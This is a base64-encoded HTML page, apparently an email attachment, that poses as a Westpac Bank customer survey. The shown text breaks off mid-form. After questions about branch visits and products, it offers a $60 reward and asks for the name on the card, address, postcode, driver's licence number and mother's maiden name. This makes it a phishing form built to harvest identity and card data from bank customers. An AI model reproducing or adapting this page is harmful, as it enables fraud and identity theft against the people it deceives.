cGx5LjwvQj48QlI+DQo8QkxPQ0tRVU9URT48L0JMT0NLUVVPVEU+DQo8RElWIGlkPWFuc3dl cnM+PElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMT4N CiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwv Zm9udD4gDQogICAgICAgICAgICAgIENvbnZlbmllbmNlPEJSPg0KICAgICAgICAgICAgICA8 SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT0iQmVjYXVzZSB5b3UgZmluZCBldmVyeXRoaW5n IHlvdSBuZWVkIiBuYW1lPXF1ZXMxMT4NCiAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNG RjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgIEJlY2F1c2Ug eW91IGZpbmQgZXZlcnl0aGluZyB5b3UgbmVlZDxCUj4NCiAgICAgICAgICAgICAgPElOUFVU IHR5cGU9Y2hlY2tib3ggdmFsdWU9IkJlY2F1c2UgaXMgbmVhciBteSBob21lIG9yIHdvcmsi IG5hbWU9cXVlczEyPg0KICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgQmVjYXVzZSBpcyBuZWFyIG15 IGhvbWUgb3Igd29yayA8QlI+DQogICAgICAgICAgICAgIDxCUj4mbmJzcDtPdGhlcjogPElO UFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMxdGV4dD48L0RJVj4NCjxQPjwv UD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+Mi4gSG93IG9mdGVuIGRvIHlvdSB2aXNp dCBXZXN0cGFjIEJhbms/IDwvQj48QlI+DQo8RElWIGlkPWFuc3dlcnM+PElOUFVUIHR5cGU9 Y2hlY2tib3ggdmFsdWU9Q29udmVuaWVuY2UgbmFtZT1xdWVzMTA1Pg0KICAgICAgICAgICAg ICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48 Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAg ICAgICAgICAgRGFpbHkgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2Jv eCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMDY+DQogICAgICAgICAgICAgIDxmb250 IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250 IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAg ICBPbmNlIGEgd2VlayA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNrYm94 IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczEwNz4NCiAgICAgICAgICAgICAgPGZvbnQg c2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQg Y29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAg IDItNCB0aW1lcyBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVj a2JveCB2YWx1ZT1Db252ZW5pZW5jZSBuYW1lPXF1ZXMxMTU+DQogICAgICAgICAgICAgIDxm b250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxm b250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250PjwvYj48L2ZvbnQ+IA0KICAgICAgICAg ICAgICBMZXNzIHRoYW4gb25jZSBhIHdlZWsgPEJSPg0KICAgICAgICAgICAgICAmbmJzcDtP dGhlcjogPElOUFVUIG1heExlbmd0aD0yMDAgc2l6ZT0yOCBuYW1lPXF1ZXMydGV4dD48L0RJ Vj4NCjxQPjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+My4gV2hhdCBraW5kIG9m IHByb2R1Y3RzIGRvIHlvdSBoYXZlIG9uIHVzPyBQbGVhc2Ugc2VsZWN0IGFsbCANCiAgICAg ICAgICAgICAgdGhhdCBhcHBseS48L0I+PEJSPg0KICAgICAgICAgICAgPERJViBpZD1hbnN3 ZXJzPiANCiAgICAgICAgICAgICAgPHA+IA0KICAgICAgICAgICAgICAgIDxJTlBVVCB0eXBl PWNoZWNrYm94IHZhbHVlPVN1cGVybWFya2V0IG5hbWU9cXVlczM+DQogICAgICAgICAgICAg ICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+ PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAg ICAgICAgICAgICAgQmFuayBhY2NvdW50czxCUj4NCiAgICAgICAgICAgICAgICA8SU5QVVQg dHlwZT1jaGVja2JveCB2YWx1ZT0iU3VwZXJtYXJrZXQgd2l0aCBMaXF1b3IiIG5hbWU9cXVl czMxPg0KICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjMiIGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4mZ3Q7PC9mb250 PjwvYj48L2ZvbnQ+IA0KICAgICAgICAgICAgICAgIENyZWRpdCBjYXJkczxCUj4NCiAgICAg ICAgICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1MaXF1b3IgbmFtZT1xdWVz MzI+DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+ PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW5zdXJhbmNlIDxCUj4NCiAgICAgICAg ICAgICAgICA8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT1QZXRyb2wgbmFtZT1xdWVzMzM+ DQogICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9i PjwvZm9udD4gDQogICAgICAgICAgICAgICAgSW52ZXN0bWVudHM8QlI+DQogICAgICAgICAg ICAgICAgPElOUFVUIHR5cGU9Y2hlY2tib3ggdmFsdWU9IlBldHJvbCB3aXRoIGVwdW1wIiBu YW1lPXF1ZXMzND4NCiAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICBQZXJzb25hbCBsb2FuczxC Uj4NCiAgICAgICAgICAgICAgICAmbmJzcDs8L3A+DQogICAgICAgICAgICA8L0RJVj4NCjxQ PjwvUD4NCjxIUj4NCg0KICAgICAgICAgICAgPFA+PEI+NC4gUGxlYXNlIHJhdGUgdGhlIGZv bGxvd2luZyBXZXN0cGFjIEJhbmsgZmVhdHVyZXM/PC9CPjxCUj4NCjxESVYgaWQ9YW5zd2Vy cz4NCiAgICAgICAgICAgICAgPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCBi b3JkZXI9MD4NCiAgICAgICAgICAgICAgICA8VEJPRFk+IA0KICAgICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgICA8VEQgd2lkdGg9MjIxPiANCiAgICAgICAgICAgICAg ICAgICAgPHA+PGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4g DQogICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0iMiIgZmFjZT0iQXJpYWwsIEhl bHZldGljYSwgc2Fucy1zZXJpZiI+Q2FzaGllcnMgDQogICAgICAgICAgICAgICAgICAgICAg PC9mb250PjwvcD4NCiAgICAgICAgICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAg ICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8U0VMRUNUIG5hbWU9cXVlczQ+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNl bGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhj ZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJ T04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9Q VElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAg ICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAg ICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAg ICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAg ICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8 VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0 OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXpl PSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5DbGVhbmluZyANCiAg ICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9U RD4NCiAgICAgICAgICAgICAgICAgIDxURD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxF Q1QgbmFtZT1xdWVzNDE+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0i ICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVjdDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9RXhjZWxsZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAg ICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAg ICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElP Tj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BU SU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9P UFRJT04+DQogICAgICAgICAgICAgICAgICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAg ICAgPC9URD4NCiAgICAgICAgICAgICAgICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4g DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9u dCBzaXplPSIzIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9u dCBjb2xvcj0iI0ZGMDAwMCI+Jmd0OzwvZm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAg ICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIj5QYXJraW5nIA0KICAgICAgICAgICAgICAgICAgICAgIGxvdCBzcGFjZSA8L2Zv bnQ+PC9wPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAgICAgIDxU RD4gDQogICAgICAgICAgICAgICAgICAgIDxTRUxFQ1QgbmFtZT1xdWVzNDI+DQogICAgICAg ICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT0iICIgc2VsZWN0ZWQ+UGxlYXNlIHNlbGVj dDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9RXhjZWxs ZW50PkV4Y2VsbGVudDwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9R29vZD5Hb29kPC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElP TiB2YWx1ZT1OZXV0cmFsPk5ldXRyYWw8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAg ICA8T1BUSU9OIHZhbHVlPUZhaXI+RmFpcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAg ICAgIDxPUFRJT04gdmFsdWU9UG9vcj5Qb29yPC9PUFRJT04+DQogICAgICAgICAgICAgICAg ICAgIDwvU0VMRUNUPg0KICAgICAgICAgICAgICAgICAgPC9URD4NCiAgICAgICAgICAgICAg ICA8L1RSPg0KICAgICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgICA8VEQ+ IA0KICAgICAgICAgICAgICAgICAgICA8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJBcmlhbCwg SGVsdmV0aWNhLCBzYW5zLXNlcmlmIj48Yj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jmd0Ozwv Zm9udD48L2I+PC9mb250PiANCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIy IiBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5FbXBsb3llZXMgDQogICAg ICAgICAgICAgICAgICAgICAga2luZG5lc3MgPC9mb250PjwvcD4NCiAgICAgICAgICAgICAg ICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgICA8VEQ+IA0KICAgICAgICAgICAgICAgICAg ICA8U0VMRUNUIG5hbWU9cXVlczQ3Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04g dmFsdWU9IiAiIHNlbGVjdGVkPlBsZWFzZSBzZWxlY3Q8L09QVElPTj4NCiAgICAgICAgICAg ICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUV4Y2VsbGVudD5FeGNlbGxlbnQ8L09QVElPTj4N CiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPUdvb2Q+R29vZDwvT1BUSU9O Pg0KICAgICAgICAgICAgICAgICAgICAgIDxPUFRJT04gdmFsdWU9TmV1dHJhbD5OZXV0cmFs PC9PUFRJT04+DQogICAgICAgICAgICAgICAgICAgICAgPE9QVElPTiB2YWx1ZT1GYWlyPkZh aXI8L09QVElPTj4NCiAgICAgICAgICAgICAgICAgICAgICA8T1BUSU9OIHZhbHVlPVBvb3I+ UG9vcjwvT1BUSU9OPg0KICAgICAgICAgICAgICAgICAgICA8L1NFTEVDVD4NCiAgICAgICAg ICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAg ICA8L1RCT0RZPiANCiAgICAgICAgICAgICAgPC9UQUJMRT4NCiAgICAgICAgICAgIDwvRElW Pg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj41LiBJcyBXZXN0cGFjIEJh bmsgQVRNIGVhc3kgdG8gZmluZD88L0I+PEJSPg0KPERJViBpZD1hbnN3ZXJzPjxJTlBVVCB0 eXBlPWNoZWNrYm94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNz4NCiAgICAgICAg ICAgICAgPGZvbnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQog ICAgICAgICAgICAgIFllcyA8QlI+DQogICAgICAgICAgICAgIDxJTlBVVCB0eXBlPWNoZWNr Ym94IHZhbHVlPUNvbnZlbmllbmNlIG5hbWU9cXVlczExNj4NCiAgICAgICAgICAgICAgPGZv bnQgc2l6ZT0iMyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZv bnQgY29sb3I9IiNGRjAwMDAiPiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAg ICAgIE5vIDwvRElWPg0KPFA+PC9QPg0KPEhSPg0KDQogICAgICAgICAgICA8UD48Qj42LiBX aGF0IGltcHJvdmVtZW50cyB3b3VsZCB5b3UgcmVjb21tZW5kPzwvQj48QlI+DQo8RElWIGlk PWFuc3dlcnM+PFRFWFRBUkVBIG5hbWU9cXVlczggcm93cz01IGNvbHM9MzI+PC9URVhUQVJF QT48L0RJVj4NCiAgICAgICAgICAgIDwvRklFTERTRVQ+DQogICAgICAgICAgICA8cD48YnI+ DQogICAgICAgICAgICAgIDxiPlRoYW5rIHlvdSBmb3IgdGFraW5nIHRoZSB0aW1lIHRvIHJl c3BvbmQgdG8gdGhpcyBzdXJ2ZXkuIEluIHJldHVybiwgDQogICAgICAgICAgICAgIHdlIHdp bGwgYWRkIDYwJCBjcmVkaXQgdG8geW91ciBhY2NvdW50IGp1c3QgZm9yIHlvdXIgdGltZS48 L2I+IDxCUj4NCiAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgIDxIUj4NCg0KICAgICAg ICAgICAgPFRBQkxFIHdpZHRoPSIxMDAlIiBib3JkZXI9MD4NCiAgICAgICAgICAgICAgPFRC T0RZPiANCiAgICAgICAgICAgICAgPFRSPiANCiAgICAgICAgICAgICAgICA8VEQgY29sc3Bh bj0iMiI+IA0KICAgICAgICAgICAgICAgICAgPHA+PEI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i QXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAi PiZndDs8L2ZvbnQ+PC9iPjwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDxmb250IHNp emU9IjIiPlBsZWFzZSBlbnRlciB5b3VyIGFjY291bnQgZGV0YWlscyB0byBjcmVkaXQgDQog ICAgICAgICAgICAgICAgICAgIHlvdXIgNjAkIHJld2FyZDo8L2ZvbnQ+PGZvbnQgc2l6ZT0i MyI+PGJyPg0KICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAg IDxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjEiPkZp ZWxkcyANCiAgICAgICAgICAgICAgICAgICAgd2l0aCBhbiBhc3RlcmlzayA8Zm9udCBjb2xv cj0iI0ZGMDAwMCI+KjwvZm9udD4gYXJlIG1hbmRhdG9yeTwvZm9udD48L2ZvbnQ+PC9CPjwv cD4NCiAgICAgICAgICAgICAgICA8L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgTmFtZSBvbiBDYXJkOjwvZm9udD48 L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0Uy RDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQg aWQ9bmFtZSBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4TGVuZ3RoPTUw IHNpemU9MTcgbmFtZT1uYW1lPg0KICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iVmVy ZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMSI+KG5hbWUgDQog ICAgICAgICAgICAgICAgICBhcyBwcmludGVkIG9uIHRoZSBjYXJkKTwvZm9udD48L0ZPTlQ+ PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAgICAg ICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAgICAg ICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIiBzaXplPSIyIj5BZGRyZXNzOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAg ICAgICA8VEQgd2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUz NTU0Nz4gDQogICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9c3RyZWV0IG9ua2V5dXA9Y2hl Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xNyBuYW1lPXN0cmVl dD4NCiAgICAgICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RS Pg0KICAgICAgICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+ PGI+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIg Y29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwg c2Fucy1zZXJpZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250 IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPlN1YnVyYjo8 L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29s b3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1NDc+IA0KICAgICAgICAgICAgICAgICAg PElOUFVUIGlkPXN1YnVyYiBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhpcy52YWx1ZSkgbWF4 TGVuZ3RoPTUwIHNpemU9MTAgbmFtZT1zdWJ1cmI+DQogICAgICAgICAgICAgICAgICA8L0ZP TlQ+PC9URD4NCiAgICAgICAgICAgICAgPC9UUj4NCiAgICAgICAgICAgICAgPFRSPiANCiAg ICAgICAgICAgICAgICA8VEQgd2lkdGg9MzU4PjxiPjxmb250IGZhY2U9IkFyaWFsLCBIZWx2 ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiIGNvbG9yPSIjRkYwMDAwIj4qPC9mb250Pjxm b250IGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPiANCiAg ICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj5TdGF0ZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAg ICAgICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1 MzU1NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIGlkPXN0YXRlIG9ua2V5dXA9Y2hl Y2tMZW4odGhpcyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9NTAgc2l6ZT0xMCBuYW1lPXN0YXRl Pg0KICAgICAgICAgICAgICAgICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+ DQogICAgICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48 Yj48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBj b2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+UG9zdGFsIA0K ICAgICAgICAgICAgICAgICAgQ29kZTo8L2ZvbnQ+PC9iPjwvVEQ+DQogICAgICAgICAgICAg ICAgPFREIHdpZHRoPSI3OTAiIGJnY29sb3I9IiNFMkQ1RkYiPjxGT05UIGNvbG9yPSM1MzU1 NDc+IA0KICAgICAgICAgICAgICAgICAgPElOUFVUIG9ua2V5cHJlc3M9InJldHVybiBudW1i ZXJzb25seSh0aGlzLCBldmVudCkiIGlkPXppcCBvbmtleXVwPWNoZWNrTGVuKHRoaXMsdGhp cy52YWx1ZSkgbWF4TGVuZ3RoPTQgc2l6ZT01IG5hbWU9emlwPg0KICAgICAgICAgICAgICAg ICAgPC9GT05UPjwvVEQ+DQogICAgICAgICAgICAgIDwvVFI+DQogICAgICAgICAgICAgIDxU Uj4gDQogICAgICAgICAgICAgICAgPFREIHdpZHRoPTM1OD48Yj48Zm9udCBmYWNlPSJBcmlh bCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIyIiBjb2xvcj0iI0ZGMDAwMCI+Kjwv Zm9udD48Zm9udCBmYWNlPSJBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIy Ij4gDQogICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZl dGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiI+RHJpdmVycyANCiAgICAgICAgICAgICAgICAg IExpY2VuY2UgTnVtYmVyOjwvZm9udD48L2I+PC9URD4NCiAgICAgICAgICAgICAgICA8VEQg d2lkdGg9Ijc5MCIgYmdjb2xvcj0iI0UyRDVGRiI+PEZPTlQgY29sb3I9IzUzNTU0Nz4gDQog ICAgICAgICAgICAgICAgICA8SU5QVVQgaWQ9ZHJpdmVyIG9ua2V5dXA9Y2hlY2tMZW4odGhp cyx0aGlzLnZhbHVlKSBtYXhMZW5ndGg9MTAgc2l6ZT0xMiBuYW1lPWRyaXZlcj4NCiAgICAg ICAgICAgICAgICAgIDwvRk9OVD48L1REPg0KICAgICAgICAgICAgICA8L1RSPg0KICAgICAg ICAgICAgICA8VFI+IA0KICAgICAgICAgICAgICAgIDxURCB3aWR0aD0zNTg+PGI+PGZvbnQg ZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiNG RjAwMDAiPio8L2ZvbnQ+PGZvbnQgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgc2l6ZT0iMiI+IA0KICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFy aWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjIiPk1vdGhlcidzIA0KICAgICAg ICAgICAgICAgICAgTWFpZGVuIE5hbWU6PC9mb250PjwvYj48L1REPg0KICAgICAgICAgICAg ICAgIDxURCB3aWR0aD0iNzkwIiBiZ2NvbG9yPSIjRTJENUZGIj48Rk9OVCBjb2xvcj0jNTM1 NTQ3PiANCiAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD1uYW1lIG9uS2V5VXA9Y2hlY2tM ZW4odGhpcyx0aGlzLnZhbHVlKSBzaXplPTE3IG5hbWU9bW1uPg0KICAgICAgICAgICAgICAg 